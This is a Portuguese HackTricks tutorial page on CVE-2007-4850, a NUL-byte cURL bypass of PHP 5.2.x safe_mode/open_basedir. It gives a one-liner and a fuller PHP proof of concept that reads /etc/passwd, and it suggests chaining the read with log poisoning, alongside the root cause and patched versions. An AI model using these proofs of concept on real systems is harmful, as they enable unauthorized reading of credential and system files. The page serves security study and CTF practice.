PHP 5.2.4 and 5.2.5 PHP cURL
Reading time: 4 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
Esta página documenta um truque legado, mas ainda útil em CTFs/instalações legadas locais, para contornar as verificações safe_mode/open_basedir do PHP usando a extensão cURL em builds específicos do PHP 5.2.x.
- Afetado: PHP 5.2.4 and 5.2.5 com ext/curl habilitado.
 - Impacto: Ler arquivos locais arbitrários apesar das restrições safe_mode ou open_basedir (sem execução direta de código).
 - ID: CVE-2007-4850.
 
Fonte: http://blog.safebuff.com/2016/05/06/disable-functions-bypass/
One-liner PoC
Se safe_mode ou open_basedir estiverem ativos e cURL estiver habilitado, o seguinte retornará o conteúdo do script atual:
var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));
PoC mais explícito (arbitrary file read)
<?php
// Preconditions (legacy): PHP 5.2.4/5.2.5, safe_mode or open_basedir enabled, ext/curl loaded
$target = '/etc/passwd'; // change to the file you want to read
$ch = curl_init();
// The trick is the NUL byte (\x00). Prefix can be any string; checks are confused and the file after the NUL is read.
curl_setopt($ch, CURLOPT_URL, 'file://prefix'.chr(0).$target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$resp = curl_exec($ch);
$err  = curl_error($ch);
curl_close($ch);
if ($resp !== false) {
echo $resp; // should contain the target file
} else {
echo "cURL error: $err\n";
}
?>
Notas:
- Use aspas duplas ou chr(0) para injetar um byte NUL real. Percent-encoding (%00) não funciona de forma confiável.
 - Isto é uma primitiva de leitura de arquivos. Combine com outras primitivas (log poisoning, session file inclusion, etc.) para escalar privilégios quando possível.
 
Por que isso funciona (resumido)
A vulnerabilidade reside em como o PHP 5.2.4/5.2.5 realizava as checagens safe_mode/open_basedir para URLs file:// em ext/curl. A verificação fazia o parse da URL e validava um componente de caminho, mas devido ao tratamento de NUL-byte ela validava uma string diferente daquela realmente usada pelo libcurl. Na prática, o validador podia aprovar o caminho após o NUL enquanto o libcurl usava a parte antes do NUL como o contêiner da URL, permitindo um bypass que resulta na leitura do arquivo colocado após o byte NUL. Veja a análise original e a macro afetada em curl/interface.c para detalhes. [CVE-2007-4850].
Restrições e correções
- Corrigido em versões posteriores 5.2.x (por exemplo, builds de distro corrigidos para 5.2.6) ao consertar o parsing/validação em ext/curl.
 - Afeta apenas deploys muito antigos de PHP; safe_mode foi removido no PHP 5.4 e builds modernos não apresentam esse comportamento.
 
Veja também
Outros bypasses de disable_functions/open_basedir e técnicas modernas estão coletados aqui:
Referências
- Entrada CVE da Ubuntu com ponteiros de patch e versões afetadas: https://ubuntu.com/security/CVE-2007-4850
 - Análise técnica com contexto de código (cxsecurity): http://cxsecurity.com/issue/WLB-2008010060
 
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
HackTricks